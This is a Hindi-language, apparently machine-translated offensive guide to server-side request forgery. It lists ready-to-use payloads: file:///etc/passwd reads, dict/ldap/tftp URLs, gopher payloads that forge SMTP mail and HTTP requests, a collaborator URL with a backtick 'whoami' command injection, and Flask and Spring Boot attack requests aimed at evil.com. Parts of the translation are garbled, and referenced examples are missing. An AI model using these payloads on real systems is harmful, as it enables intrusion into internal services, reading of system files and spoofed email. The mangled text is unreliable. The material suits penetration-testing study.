सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF) एक सुरक्षा रिक्तता है जब एक हमलावर एक सर्वर-साइड एप्लिकेशन को अपनी पसंद के डोमेन पर एचटीटीपी रिक्वेस्ट करने के लिए बहकाता है। यह रिक्तता हमलावर द्वारा निर्दिष्ट बाह्य रिक्वेस्टों को सर्वर के सामने खोलती है।
SSRF को कैप्चर करें
पहली चीज जो आपको करनी होगी वह एक एसएसआरएफ इंटरैक्शन को कैप्चर करना है जो आपके द्वारा उत्पन्न किया गया है। एचटीटीपी या डीएनएस इंटरैक्शन को कैप्चर करने के लिए आप उपकरणों का उपयोग कर सकते हैं:
आम तौर पर आपको पाएंगे कि एसएसआरएफ केवल निश्चित व्हाइटलिस्टेड डोमेन्स या यूआरएल में काम कर रहा है। निम्नलिखित पृष्ठ पर आपको उस व्हाइटलिस्ट को बाइपास करने के तकनीकों का एक संकलन है:
यदि सर्वर सही ढंग से सुरक्षित है तो आप वेब पेज के अंदर ओपन रीडायरेक्ट का शोषण करके सभी प्रतिबंधों को बाइपास कर सकते हैं। क्योंकि वेब पेज एक ही डोमेन के लिए एसएसआरएफ की अनुमति देगा और संभावना है कि रीडायरेक्ट करेगा, आप ओपन रीडायरेक्ट का शोषण करके सर्वर को किसी भी संसाधन तक पहुंचाने के लिए उपयोग कर सकते हैं।
अधिक जानकारी के लिए यहाँ पढ़ें: https://portswigger.net/web-security/ssrf
प्रोटोकॉल
file://
URL योजना file:// को सीधे /etc/passwd पर संदर्भित किया गया है: file:///etc/passwd
dict://
DICT URL योजना का उपयोग DICT प्रोटोकॉल के माध्यम से परिभाषाएँ या शब्द सूचियों तक पहुंचने के लिए किया जाता है। एक उदाहरण दिया गया है जो एक निर्मित यूआरएल को लक्षित शब्द, डेटाबेस, और प्रविष्टि संख्या की ओर निर्देशित करता है, साथ ही एक PHP स्क्रिप्ट का उपयोग करके एक डिक्ट सर्वर से कनेक्ट करने के लिए आकस्मिक उपयोग किया जा सकता है: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
एक सुरक्षित शैली में फ़ाइल स्थानांतरण के लिए प्रोटोकॉल के रूप में पहचाना गया, एक उदाहरण प्रदान किया गया है जो दिखाता है कि एक PHP स्क्रिप्ट को कैसे उत्पादक सुरक्षित SFTP सर्वर से कनेक्ट किया जा सकता है: url=sftp://generic.com:11111/
TFTP://
UDP पर संचालित ट्रिवियल फ़ाइल स्थानांतरण प्रोटोकॉल, एक PHP स्क्रिप्ट के उदाहरण के साथ उल्लेख किया गया है जो एक TFTP सर्वर को अनुरोध भेजने के लिए डिज़ाइन किया गया है। 'generic.com' पर '12346' पोर्ट पर 'TESTUDPPACKET' फ़ाइल के लिए एक TFTP अनुरोध किया जाता है: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
यह खंड लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल को कवर करता है, जिसमें इसका उपयोग आईपी नेटवर्क्स पर वितरित निर्देशिका सूचना सेवाओं को प्रबंधित और पहुंचने के लिए किया जाता है। लोकलहोस्ट पर एक LDAP सर्वर के साथ बातचीत करें: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
एक विधि वर्णित की गई है जिसका उपयोग SMTP सेवाओं के साथ बातचीत करने के लिए किया जाता है, जिसमें आंतरिक डोमेन नामों को प्रकट करने के लिए कदम और उस जानकारी के आधार पर और जांच कार्रवाई की जाती है।
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - WAF bypass
यदि SSRF को curl द्वारा निष्पादित किया जाता है, तो curl में URL globbing नामक एक विशेषता होती है जो WAFs को दौड़ने के लिए उपयोगी हो सकती है। उदाहरण के लिए इस writeup में आप एक path traversal via file protocol के लिए उदाहरण पा सकते हैं:
गोफर प्रोटोकॉल की क्षमता को आईपी, पोर्ट, और सर्वर संचार के लिए बाइट्स को निर्दिष्ट करने पर चर्चा की गई है, साथ ही Gopherus और remote-method-guesser जैसे उपकरणों का उल्लेख किया गया है जो payloads तैयार करने के लिए हैं। दो विभिन्न उपयोगों का उदाहरण दिया गया है:
गोफर://
इस प्रोटोकॉल का उपयोग करके आप सर्वर को भेजने के लिए चाहते हैं उस आईपी, पोर्ट और बाइट्स को निर्दिष्ट कर सकते हैं। फिर, आप मौजूदा एक SSRF का शोषण कर सकते हैं ताकि आप किसी भी TCP सर्वर के साथ संवाद कर सकें (लेकिन आपको पहले सेवा से बात करने का तरीका पता होना चाहिए)।
भाग्यवश, आप Gopherus का उपयोग कर सकते हैं विभिन्न सेवाओं के लिए payloads बनाने के लिए। इसके अतिरिक्त, remote-method-guesser का उपयोग किया जा सकता है Java RMI सेवाओं के लिए gopher payloads बनाने के लिए।
गोफर smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
गोफर एचटीटीपी
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET/HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie:eatme%0A%0AI+am+a+post+body
सर्वर पर एनालिटिक्स सॉफ्टवेयर आम तौर पर रेफरर हेडर को लॉग करता है ताकि आने वाले लिंक्स का ट्रैकिंग किया जा सके, एक अमल जो एप्लिकेशन को सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF) संरचनाओं के लिए उद्घाटन करता है। यह इसलिए है क्योंकि ऐसा सॉफ्टवेयर रेफरर हेडर में उल्लिखित बाह्य URL पर जाकर रेफरल साइट सामग्री का विश्लेषण करने के लिए कर सकता है। इन रिक्तियों को खोजने के लिए, बर्प स्वीट प्लगइन "कॉलेबोरेटर एव्रीवेर" का सुझाव दिया जाता है, जो एनालिटिक्स टूल्स के द्वारा रेफरर हेडर को प्रोसेस करने के तरीके का उपयोग करके संभावित SSRF हमले के सतह की पहचान करने में मदद करता है।
सर्टिफिकेट से SNI डेटा के माध्यम से SSRF
किसी सरल सेटअप के माध्यम से किसी भी बैकएंड से कनेक्शन सक्षम करने की एक गलत कॉन्फ़िगरेशन को एक उदाहरण एनजिन्क्स कॉन्फ़िगरेशन के साथ दिखाया गया है:
इस कॉन्फ़िगरेशन में, सर्वर नेम इंडिकेशन (SNI) फ़ील्ड से आने वाले मान को सीधे बैकएंड का पता के रूप में उपयोग किया जाता है। यह सेटअप सर्वर-साइड रिक्वेस्ट फ़र्ज़री (SSRF) के लिए एक वंशवाद को उजागर करता है, जिसे सीधे SNI फ़ील्ड में वांछित आईपी पता या डोमेन नाम को निर्दिष्ट करके उत्पादित किया जा सकता है। openssl कमांड का उपयोग करके internal.host.com जैसे एक अनिवार्य बैकएंड से कनेक्शन करने के लिए एक उत्पादन उदाहरण नीचे दिया गया है:
यह एक पेडलो की तरह हो सकता है: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFs रेंडरिंग
यदि वेब पृष्ठ स्वचालित रूप से एक पीडीएफ बना रहा है जिसमें कुछ जानकारी आपने प्रदान की है, तो आप कुछ जेएस डाल सकते हैं जो पीडीएफ निर्माता खुद (सर्वर) द्वारा क्रिएट करते समय निष्पादित किया जाएगा और आप SSRF का दुरुपयोग कर सकेंगे। अधिक जानकारी यहाँ मिलेगी.
SSRF से डोएस तक
एक से अधिक सेशन बनाएं और सेशन से SSRF का दुरुपयोग करके भारी फ़ाइलें डाउनलोड करने का प्रयास करें।
कुछ शोषणों के लिए आपको रीडायरेक्ट प्रतिक्रिया भेजनी पड़ सकती है (संभावित रूप से एक विभिन्न प्रोटोकॉल का उपयोग करने के लिए जैसे gopher)। यहाँ आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं:
</details>
Flask की अनुमति है कि **`@`** को प्रारंभिक वर्ण के रूप में उपयोग किया जा सके, जिससे **प्रारंभिक होस्ट नाम को उपयोगकर्ता नाम बनाया जा सके** और एक नया नाम संज्ञापित किया जा सके। हमला अनुरोध:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
स्प्रिंग बूट
वंलरेबल कोड:
यह पाया गया कि एक अनुरोध का पथ शुरू करना संभव है जिसमें वर्ण ; का उपयोग करने देता है जिससे फिर @ का उपयोग करके एक नया होस्ट एक्सेस करने की अनुमति होती है। हमला अनुरोध:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close